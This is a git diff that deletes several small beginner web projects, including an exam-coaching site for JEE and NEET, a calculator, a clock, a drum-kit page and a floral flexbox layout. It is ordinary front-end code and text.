diff --git a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-1.png b/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-1.png deleted file mode 100644 index 7ff819d4002..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-1.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-2.png b/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-2.png deleted file mode 100644 index f26e3198110..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-2.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-3.png b/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-3.png deleted file mode 100644 index a8e5902d7c7..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-3.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-4.png b/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-4.png deleted file mode 100644 index 15da17b4c77..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-4.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-5.png b/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-5.png deleted file mode 100644 index 048d4075ce2..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/partner-logo-5.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/physics.jpg b/Add Code Here/Websites/Brain Aspire Website/images/physics.jpg deleted file mode 100644 index 3b05e591edb..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/physics.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/pic-1.png b/Add Code Here/Websites/Brain Aspire Website/images/pic-1.png deleted file mode 100644 index 8fcc04ce3df..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/pic-1.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/pic-2.png b/Add Code Here/Websites/Brain Aspire Website/images/pic-2.png deleted file mode 100644 index a96bed35c8b..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/pic-2.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/pic-3.png b/Add Code Here/Websites/Brain Aspire Website/images/pic-3.png deleted file mode 100644 index cfbfc2f2264..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/pic-3.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/pic-4.png b/Add Code Here/Websites/Brain Aspire Website/images/pic-4.png deleted file mode 100644 index 3600f430518..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/pic-4.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/pic-5.png b/Add Code Here/Websites/Brain Aspire Website/images/pic-5.png deleted file mode 100644 index bd5120f4d05..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/pic-5.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/pic-6.png b/Add Code Here/Websites/Brain Aspire Website/images/pic-6.png deleted file mode 100644 index 2f4c491da05..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/pic-6.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-1.png b/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-1.png deleted file mode 100644 index ded7eaf975d..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-1.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-2.png b/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-2.png deleted file mode 100644 index a1cfae6bf02..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-2.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-3.png b/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-3.png deleted file mode 100644 index 85144b4f75c..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-3.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-4.png b/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-4.png deleted file mode 100644 index be900ec264e..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-4.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-5.png b/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-5.png deleted file mode 100644 index b0aa85a02ee..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-5.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-6.png b/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-6.png deleted file mode 100644 index 3576b093c48..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/subject-icon-6.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/teacher-1.png b/Add Code Here/Websites/Brain Aspire Website/images/teacher-1.png deleted file mode 100644 index 340c1d9e8c1..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/teacher-1.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/teacher-2.png b/Add Code Here/Websites/Brain Aspire Website/images/teacher-2.png deleted file mode 100644 index 4eea3f03f88..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/teacher-2.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/teacher-3.png b/Add Code Here/Websites/Brain Aspire Website/images/teacher-3.png deleted file mode 100644 index 8c8c7a92432..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/teacher-3.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/teacher-4.png b/Add Code Here/Websites/Brain Aspire Website/images/teacher-4.png deleted file mode 100644 index 7a8d49083f2..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/teacher-4.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/teacher-5.png b/Add Code Here/Websites/Brain Aspire Website/images/teacher-5.png deleted file mode 100644 index f3357751874..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/teacher-5.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/teacher-6.png b/Add Code Here/Websites/Brain Aspire Website/images/teacher-6.png deleted file mode 100644 index 15d4cd6e34a..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/teacher-6.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/index.html b/Add Code Here/Websites/Brain Aspire Website/index.html deleted file mode 100644 index 24371e31ca0..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/index.html +++ /dev/null @@ -1,343 +0,0 @@ - - - - - - - Home - - - - - - - - - - - - - - - -
- - - - - -
-
- -
- -
- - - - - - - - - - - -
- -
- -
- -
-
-

The best courses and Test series for Class 7 to 12 / JEE / NEET

-

Lets DREAM and ACHEIVE

- get started -
-
- -
-
-

Get trained by the Experts

-

Faculty From The Prestigious JADAVPUR UNIVERSITY

- get started -
-
- -
-
-

Want to be the NEXT TOPPER of ur Class ??

-

Quality Courses from top Rankers

- get started -
-
- -
- -
- -
- -
- - - - - -
- -

our popular subjects

- -
- - - -
- -

Mathemetics for class 7 to 12 / JEE

-

12 modules

-
- -
- -

Social Science till 10

-

12 modules

-
- -
- -

Computer Science

-

180 modules

-
- -
- -

PCB for class 7 to 12 / NEET

-

12 modules

-
- -
- -

Electronics Engineering

-

100 modules

-
- -
- -
- - - - - -
- -

Our Popular Courses

- -
- -
- -
-
- -

JEE

-

Mains , Advanced , Wbjee & more

-
-
-

JEE

-

The Joint Entrance Examination (JEE) is an engineering entrance assessment conducted for admission to various engineering colleges in India. It is constituted by two different examinations: the JEE-Main and the JEE-Advanced.

- read more -
-
- -
-
- -

NEET

-

And other medical entrances

-
-
-

NEET

-

The National Eligibility cum Entrance Test (Undergraduate) or NEET (UG), formerly the All India Pre-Medical Test (AIPMT), is an all India pre-medical entrance test for students who wish to pursue undergraduate medical (MBBS), dental (BDS) and AYUSH (BAMS, BUMS, BHMS, etc.) courses in government and private institutions in India

- read more -
-
- -
-
- -

Boards

-

CBSE ICSE/ISE WBBSE/WBCHSE

-
-
-

Boards

-

Complete Boards preperation Crash Courses for Class 9

- Read more -
-
- -
-
- -

Midterms Crash Course

-

CBSE ICSE/ISE WBBSE/WBCHSE

-
-
-

School Midterms

-

Afforadable Crash Courses for Revision

- Read more -
-
- -
-
- -

BITSAT

-

The Gateway for your entry in the The Best Private college of India

-
-
-

BITSAT

-

Birla Institute of Technology & Science, Pilani (BITS Pilani) is a private university in Pilani, Jhunjhunu, India.[12] It focuses primarily on higher education and research in engineering and sciences.[13] After expansion to a campus in Dubai, it has become the first international deemed university, spearheading in science, engineering, management and research with five established campuses and 15 academic departments.

- Read more -
-
- -
-
- -

ALL IN ONE

-

CBSE ICSE/ISE WBBSE/WBCHSE

-
-
-

ALL in 1

-

Complete Boards + JEE/NEET preparation

- Read more -
-
- -
- -
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Brain Aspire Website/js/script.js b/Add Code Here/Websites/Brain Aspire Website/js/script.js deleted file mode 100644 index bfaa1593273..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/js/script.js +++ /dev/null @@ -1,135 +0,0 @@ -let navbar = document.querySelector('.header .navbar') - -document.querySelector('#menu-btn').onclick = () =>{ - navbar.classList.add('active'); -} - -document.querySelector('#close-navbar').onclick = () =>{ - navbar.classList.remove('active'); -}; - -let registerBtn = document.querySelector('.account-form .register-btn'); -let loginBtn = document.querySelector('.account-form .login-btn'); - -registerBtn.onclick = () =>{ - registerBtn.classList.add('active'); - loginBtn.classList.remove('active'); - document.querySelector('.account-form .login-form').classList.remove('active'); - document.querySelector('.account-form .register-form').classList.add('active'); -}; - -loginBtn.onclick = () =>{ - registerBtn.classList.remove('active'); - loginBtn.classList.add('active'); - document.querySelector('.account-form .login-form').classList.add('active'); - document.querySelector('.account-form .register-form').classList.remove('active'); -}; - -let accountForm = document.querySelector('.account-form') - -document.querySelector('#account-btn').onclick = () =>{ - accountForm.classList.add('active'); -} - -document.querySelector('#close-form').onclick = () =>{ - accountForm.classList.remove('active'); -}; - -var swiper = new Swiper(".home-slider", { - pagination: { - el: ".swiper-pagination", - clickable:true, - }, - loop:true, - grabCursor:true, -}); - -var swiper = new Swiper(".home-courses-slider", { - loop:true, - grabCursor:true, - spaceBetween: 20, - breakpoints: { - 0: { - slidesPerView: 1, - }, - 768: { - slidesPerView: 2, - }, - 991: { - slidesPerView: 3, - }, - }, -}); - -var swiper = new Swiper(".teachers-slider", { - loop:true, - grabCursor:true, - spaceBetween: 20, - breakpoints: { - 0: { - slidesPerView: 1, - }, - 768: { - slidesPerView: 2, - }, - 991: { - slidesPerView: 3, - }, - }, -}); - -var swiper = new Swiper(".reviews-slider", { - loop:true, - grabCursor:true, - spaceBetween: 20, - breakpoints: { - 0: { - slidesPerView: 1, - }, - 768: { - slidesPerView: 2, - }, - 991: { - slidesPerView: 3, - }, - }, -}); - -var swiper = new Swiper(".logo-slider", { - loop:true, - grabCursor:true, - spaceBetween: 20, - breakpoints: { - 0: { - slidesPerView: 1, - }, - 450: { - slidesPerView: 2, - }, - 768: { - slidesPerView: 3, - }, - 991: { - slidesPerView: 4, - }, - 1200: { - slidesPerView: 5, - }, - }, -}); - -let accordion = document.querySelectorAll('.faq .accordion-container .accordion'); - -accordion.forEach(acco =>{ - acco.onclick = () =>{ - accordion.forEach(dion => dion.classList.remove('active')); - acco.classList.toggle('active'); - }; -}); - -document.querySelector('.load-more .btn').onclick = () =>{ - document.querySelectorAll('.courses .box-container .hide').forEach(show =>{ - show.style.display = 'block'; - }); - document.querySelector('.load-more .btn').style.display = 'none'; -}; diff --git a/Add Code Here/Websites/Brain Aspire Website/test1.html b/Add Code Here/Websites/Brain Aspire Website/test1.html deleted file mode 100644 index 2982fdbb2c7..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/test1.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - Tests - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Brain Aspire Website/tests.html b/Add Code Here/Websites/Brain Aspire Website/tests.html deleted file mode 100644 index 4d1d811983d..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/tests.html +++ /dev/null @@ -1,317 +0,0 @@ - - - - - - - Tests - - - - - - - - - - - - - - - -
- - - - - -
-
- -
- -
- - - - - - - - - - - -
- -

Our Tests

- -
- -
-
- -

Test 1

-
-
-

JEE-Advanced / JEE-Main

-

Mathematics

- ATTEMPT -
- 1 hr - Valid for Today only -
-
-
- - - -
-
- -

TEST 2

-
-
-

NEET

-

Physics And Chemistry

- ATTEMPT -
- 2hrs - Valid for today only -
-
-
- -
- -
Load more
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Calculator/img/bg.png b/Add Code Here/Websites/Calculator/img/bg.png deleted file mode 100644 index 35de156ea55..00000000000 Binary files a/Add Code Here/Websites/Calculator/img/bg.png and /dev/null differ diff --git a/Add Code Here/Websites/Calculator/img/favicon.png b/Add Code Here/Websites/Calculator/img/favicon.png deleted file mode 100644 index 80250d7c002..00000000000 Binary files a/Add Code Here/Websites/Calculator/img/favicon.png and /dev/null differ diff --git a/Add Code Here/Websites/Calculator/index.html b/Add Code Here/Websites/Calculator/index.html deleted file mode 100644 index 71e151d1fcc..00000000000 --- a/Add Code Here/Websites/Calculator/index.html +++ /dev/null @@ -1,39 +0,0 @@ - - - - - - - - Calculator - - -
-
- - - - - - - - - - - - - - - - - - - - -
-
- - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Calculator/main.js b/Add Code Here/Websites/Calculator/main.js deleted file mode 100644 index e78ccbafa45..00000000000 --- a/Add Code Here/Websites/Calculator/main.js +++ /dev/null @@ -1,20 +0,0 @@ -let outputscreen = document.getElementById("output-screen"); - -function display(num){ - outputscreen.value += num; -} -function calculate(){ - try{ - outputscreen.value = eval(outputscreen.value); - } - catch(err) - { - alert("INVALID INPUT") - } -} -function clr(){ - outputscreen.value = ""; -} -function de(){ - outputscreen.value = outputscreen.value.slice(0,-1); -} \ No newline at end of file diff --git a/Add Code Here/Websites/Calculator/style.css b/Add Code Here/Websites/Calculator/style.css deleted file mode 100644 index 3433d83aacd..00000000000 --- a/Add Code Here/Websites/Calculator/style.css +++ /dev/null @@ -1,64 +0,0 @@ -*{ - margin: 0; - padding: 0; - box-sizing: border-box; - background-color: #ecf0f3; - font-family: sans-serif; - outline: none; - background-image: url(img/bg.png); -} -.container{ - height: 100vh; - display: flex; - justify-content: center; - align-items: center; -} -.calculator{ - background-color: #ecf0f3; - padding: 15px; - border-radius: 30px; - box-shadow: inset 5px 5px 12px #ffffff, - 5px 5px 12px rgba(0,0,0,0.16); - display: grid; - grid-template-columns: repeat(4, 68px); -} -input{ - grid-column: span 4; - height: 70px; - width: 260px; - background-color: #ecf0f3; - box-shadow: inset -5px -5px 12px #ffffff, - inset 5px 5px 12px rgba(0,0,0,0.16); - border: none; - border-radius: 30px; - color: rgb(70, 70, 70); - font-size: 50px; - text-align: end; - margin: auto; - margin-top: 40px; - margin-bottom: 30px; - padding: 20px; -} -button{ - height: 48px; - width: 48px; - background-color: #ecf0f3; - box-shadow: -5px -5px 12px #ffffff, - 5px 5px 12px rgba(0,0,0,0.16); - border: none; - border-radius: 50%; - margin: 8px; - font-size: 16px; - cursor: pointer; - font-weight: bold; -} -button:hover{ - color: grey; -} -.equal{ - width: 115px; - border-radius: 40px; - background-color: #ecf0f3; - box-shadow: -5px -5px 12px #ffffff, - 5px 5px 12px rgba(0,0,0,0.16); -} \ No newline at end of file diff --git a/Add Code Here/Websites/Clock app - vinay-pseudo/favicon.png b/Add Code Here/Websites/Clock app - vinay-pseudo/favicon.png deleted file mode 100644 index a8117d0f741..00000000000 Binary files a/Add Code Here/Websites/Clock app - vinay-pseudo/favicon.png and /dev/null differ diff --git a/Add Code Here/Websites/Clock app - vinay-pseudo/index.html b/Add Code Here/Websites/Clock app - vinay-pseudo/index.html deleted file mode 100644 index a0afe2b1085..00000000000 --- a/Add Code Here/Websites/Clock app - vinay-pseudo/index.html +++ /dev/null @@ -1,64 +0,0 @@ - - - - - - - Clock - - - -
04:44:53 PM
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/DrumsOnline/.DS_Store b/Add Code Here/Websites/DrumsOnline/.DS_Store deleted file mode 100644 index 91209ea1bac..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/.DS_Store and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/README.md b/Add Code Here/Websites/DrumsOnline/README.md deleted file mode 100644 index efb0e65a6de..00000000000 --- a/Add Code Here/Websites/DrumsOnline/README.md +++ /dev/null @@ -1 +0,0 @@ -# taDum \ No newline at end of file diff --git a/Add Code Here/Websites/DrumsOnline/images/crash.png b/Add Code Here/Websites/DrumsOnline/images/crash.png deleted file mode 100644 index a992fa0f534..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/images/crash.png and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/images/kick.png b/Add Code Here/Websites/DrumsOnline/images/kick.png deleted file mode 100644 index b64877e70d3..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/images/kick.png and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/images/snare.png b/Add Code Here/Websites/DrumsOnline/images/snare.png deleted file mode 100644 index 1e089bacd7d..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/images/snare.png and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/images/tom1.png b/Add Code Here/Websites/DrumsOnline/images/tom1.png deleted file mode 100644 index 855b2111777..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/images/tom1.png and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/images/tom2.png b/Add Code Here/Websites/DrumsOnline/images/tom2.png deleted file mode 100644 index 3e9f3636f47..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/images/tom2.png and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/images/tom3.png b/Add Code Here/Websites/DrumsOnline/images/tom3.png deleted file mode 100644 index 762cbf85495..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/images/tom3.png and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/images/tom4.png b/Add Code Here/Websites/DrumsOnline/images/tom4.png deleted file mode 100644 index e79c49e1b14..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/images/tom4.png and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/index.html b/Add Code Here/Websites/DrumsOnline/index.html deleted file mode 100644 index 25604560b52..00000000000 --- a/Add Code Here/Websites/DrumsOnline/index.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - Drum Kit - - - - - - - -

Drum 🥁 Kit

-
- - - - - - - -
- - -
- Made with ❤️ -
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/DrumsOnline/index.js b/Add Code Here/Websites/DrumsOnline/index.js deleted file mode 100644 index ea8c76a481c..00000000000 --- a/Add Code Here/Websites/DrumsOnline/index.js +++ /dev/null @@ -1,66 +0,0 @@ - -// Looking for the clicks on the website - -for (var i = 0; i < document.querySelectorAll(".drum").length; i++) { - document.querySelectorAll(".drum")[i].addEventListener("click", function () { - var char = this.innerHTML; - makeSound(char); - addAnimation(char); - }); -} - - -// Looking for the keyboard strokes -document.addEventListener("keydown", function (event) { - makeSound(event.key); - addAnimation(event.key); -}) - -function makeSound(key) { - switch (key) { - case 'w': - var audio = new Audio("sounds/tom-1.mp3"); - audio.play(); - break; - - case 'a': - var audio = new Audio("sounds/tom-2.mp3"); - audio.play(); - break; - - case 's': - var audio = new Audio("sounds/tom-3.mp3"); - audio.play(); - break; - case 'd': - var audio = new Audio("sounds/tom-4.mp3"); - audio.play(); - break; - - case 'j': - var audio = new Audio("sounds/kick-bass.mp3"); - audio.play(); - break; - - case 'k': - var audio = new Audio("sounds/crash.mp3"); - audio.play(); - break; - - case 'l': - var audio = new Audio("sounds/snare.mp3"); - audio.play(); - break; - - default: - break; - } -} - -function addAnimation(charKey) { - var char = document.querySelector("." + charKey) - char.classList.add("pressed"); - setTimeout(function () { - char.classList.remove("pressed"); - }, 100); -} \ No newline at end of file diff --git a/Add Code Here/Websites/DrumsOnline/sounds/crash.mp3 b/Add Code Here/Websites/DrumsOnline/sounds/crash.mp3 deleted file mode 100644 index d5680626955..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/sounds/crash.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/sounds/kick-bass.mp3 b/Add Code Here/Websites/DrumsOnline/sounds/kick-bass.mp3 deleted file mode 100644 index faf06c6ceaf..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/sounds/kick-bass.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/sounds/snare.mp3 b/Add Code Here/Websites/DrumsOnline/sounds/snare.mp3 deleted file mode 100644 index e7cf5b841b5..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/sounds/snare.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/sounds/tom-1.mp3 b/Add Code Here/Websites/DrumsOnline/sounds/tom-1.mp3 deleted file mode 100644 index 7dc3003d0ce..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/sounds/tom-1.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/sounds/tom-2.mp3 b/Add Code Here/Websites/DrumsOnline/sounds/tom-2.mp3 deleted file mode 100644 index f3c04855c9f..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/sounds/tom-2.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/sounds/tom-3.mp3 b/Add Code Here/Websites/DrumsOnline/sounds/tom-3.mp3 deleted file mode 100644 index 38060330a7b..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/sounds/tom-3.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/sounds/tom-4.mp3 b/Add Code Here/Websites/DrumsOnline/sounds/tom-4.mp3 deleted file mode 100644 index 58b04bebbd1..00000000000 Binary files a/Add Code Here/Websites/DrumsOnline/sounds/tom-4.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/DrumsOnline/styles.css b/Add Code Here/Websites/DrumsOnline/styles.css deleted file mode 100644 index 17eec51184f..00000000000 --- a/Add Code Here/Websites/DrumsOnline/styles.css +++ /dev/null @@ -1,81 +0,0 @@ -body { - text-align: center; - background-color: #000000; -} - -h1 { - font-size: 5rem; - color: #F58840; - font-family: "Arvo", cursive; - text-shadow: 3px 0 #B85252; - -} - -footer { - color: #EADEDE; - font-family: sans-serif; -} - -.w { - background-image: url("images/tom1.png"); -} - -.a { - background-image: url("images/tom2.png"); -} - -.s { - background-image: url("images/tom3.png"); -} - -.d { - background-image: url("images/tom4.png"); -} - -.j { - background-image: url("images/kick.png"); -} - -.k { - background-image: url("images/crash.png"); -} - -.l { - background-image: url("images/snare.png"); -} - -.set { - margin: 10% auto; -} - -.game-over { - background-color: red; - opacity: 0.8; -} - -.pressed { - box-shadow: 0 3px 4px 0 #DBEDF3; - opacity: 0.5; -} - -.red { - color: red; -} - -.drum { - outline: none; - border: 10px solid #EADEDE; - font-size: 5rem; - font-family: 'Arvo', cursive; - line-height: 2; - font-weight: 900; - color: #F58840; - text-shadow: 3px 0 #000000; - border-radius: 15px; - display: inline-block; - width: 150px; - height: 150px; - text-align: center; - margin: 10px; - background-color: rgb(51, 50, 50); -} diff --git a/Add Code Here/Websites/Floral-Flexbox/LICENSE.txt b/Add Code Here/Websites/Floral-Flexbox/LICENSE.txt deleted file mode 100644 index 75f2e960120..00000000000 --- a/Add Code Here/Websites/Floral-Flexbox/LICENSE.txt +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2022 Joanna Sprott (https://codepen.io/jsp123/pen/KKRZKPO) - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/Add Code Here/Websites/Floral-Flexbox/README.md b/Add Code Here/Websites/Floral-Flexbox/README.md deleted file mode 100644 index 76f26ecf98b..00000000000 --- a/Add Code Here/Websites/Floral-Flexbox/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# Portfolio Problems - -A Pen created on CodePen.io. Original URL: [https://codepen.io/jsp123/pen/KKRZKPO](https://codepen.io/jsp123/pen/KKRZKPO). - diff --git a/Add Code Here/Websites/Floral-Flexbox/dist/index.html b/Add Code Here/Websites/Floral-Flexbox/dist/index.html deleted file mode 100644 index 13cc7fdd128..00000000000 --- a/Add Code Here/Websites/Floral-Flexbox/dist/index.html +++ /dev/null @@ -1,160 +0,0 @@ - - - - - CodePen - Portfolio Problems - - - - - -
- -
-
- -
-

Paradise in Pink

-
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus luctus luctus aliquet. Morbi ac blandit massa. Etiam a est sit amet libero porttitor fringilla et ut arcu. Quisque auctor sem vel dui consequat, sit amet lacinia nisl pellentesque. Curabitur auctor convallis lacus, eget semper ligula auctor in. Vestibulum in risus augue. Aenean tempor tincidunt vehicula
-
-
-
- -
-

The Masterpiece

-
Fusce malesuada mi lorem, sit amet consequat arcu porta a. Aenean elementum mi turpis. Integer tincidunt venenatis gravida. Proin eget pellentesque enim, eget egestas sapien.
-
-
-
- -
-

Minimalist Elegance

-
Quisque vitae rhoncus neque. Nunc cursus auctor ornare. Pellentesque et congue metus, in sagittis sapien. Proin tincidunt ligula a sem ultrices, eu aliquam augue sodales
-
-
-
- -
-

Sunset Succulents

-
Duis turpis risus, ornare vel consectetur et, convallis non risus. Etiam et nisi eget risus tincidunt lobortis cursus ac sem. Pellentesque leo tellus, fermentum eu consectetur ac, posuere sit amet neque.
-
-
-
- -
-

The Winter Garden

-
Pellentesque commodo, odio id auctor commodo, diam dui vehicula tortor, ac posuere eros ipsum at quam. Duis elementum, lectus sit amet condimentum congue, quam neque pulvinar neque, quis suscipit libero dui vel massa. Proin egestas, ante eu dignissim aliquam, diam lorem cursus felis, vel varius urna mi non lorem. Nam mattis arcu vel mi pellentesque cursus.
-
-
-
- -
-

Spring Radiance

-
Morbi dictum tincidunt ante id condimentum. Curabitur ligula libero, sodales id semper non, finibus a ligula. Aenean arcu nisl, vehicula nec fermentum a, auctor a ligula. Praesent in vulputate ligula.
-
-
-
- -
-
- -
-

Sunset Succulents

-
Duis turpis risus, ornare vel consectetur et, convallis non risus. Etiam et nisi eget risus tincidunt lobortis cursus ac sem. Pellentesque leo tellus, fermentum eu consectetur ac, posuere sit amet neque.
-
-
-
- -
-

The Winter Garden

-
Pellentesque commodo, odio id auctor commodo, diam dui vehicula tortor, ac posuere eros ipsum at quam. Duis elementum, lectus sit amet condimentum congue, quam neque pulvinar neque, quis suscipit libero dui vel massa. Proin egestas, ante eu dignissim aliquam, diam lorem cursus felis, vel varius urna mi non lorem. Nam mattis arcu vel mi pellentesque cursus.
-
-
-
- -
-

Spring Radiance

-
Morbi dictum tincidunt ante id condimentum. Curabitur ligula libero, sodales id semper non, finibus a ligula. Aenean arcu nisl, vehicula nec fermentum a, auctor a ligula. Praesent in vulputate ligula. -
-
-
-
- -
-

Paradise in Pink

-
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus luctus luctus aliquet. Morbi ac blandit massa. Etiam a est sit amet libero porttitor fringilla et ut arcu. Quisque auctor sem vel dui consequat, sit amet lacinia nisl pellentesque. Curabitur auctor convallis lacus, eget semper ligula auctor in. Vestibulum in risus augue. Aenean tempor tincidunt vehicula
-
-
-
- -
-

Minimalist Elegance

-
Quisque vitae rhoncus neque. Nunc cursus auctor ornare. Pellentesque et congue metus, in sagittis sapien. Proin tincidunt ligula a sem ultrices, eu aliquam augue sodales
-
-
-
- -
-

The Masterpiece

-
Fusce malesuada mi lorem, sit amet consequat arcu porta a. Aenean elementum mi turpis. Integer tincidunt venenatis gravida. Proin eget pellentesque enim, eget egestas sapien.
-
-
-
-
-
- -
-

Spring Radiance

-
Morbi dictum tincidunt ante id condimentum. Curabitur ligula libero, sodales id semper non, finibus a ligula. Aenean arcu nisl, vehicula nec fermentum a, auctor a ligula. Praesent in vulputate ligula.
-
-
-
- -
-

Minimalist Elegance

-
Quisque vitae rhoncus neque. Nunc cursus auctor ornare. Pellentesque et congue metus, in sagittis sapien. Proin tincidunt ligula a sem ultrices, eu aliquam augue sodales -
-
-
-
- -
-

Paradise in Pink

-
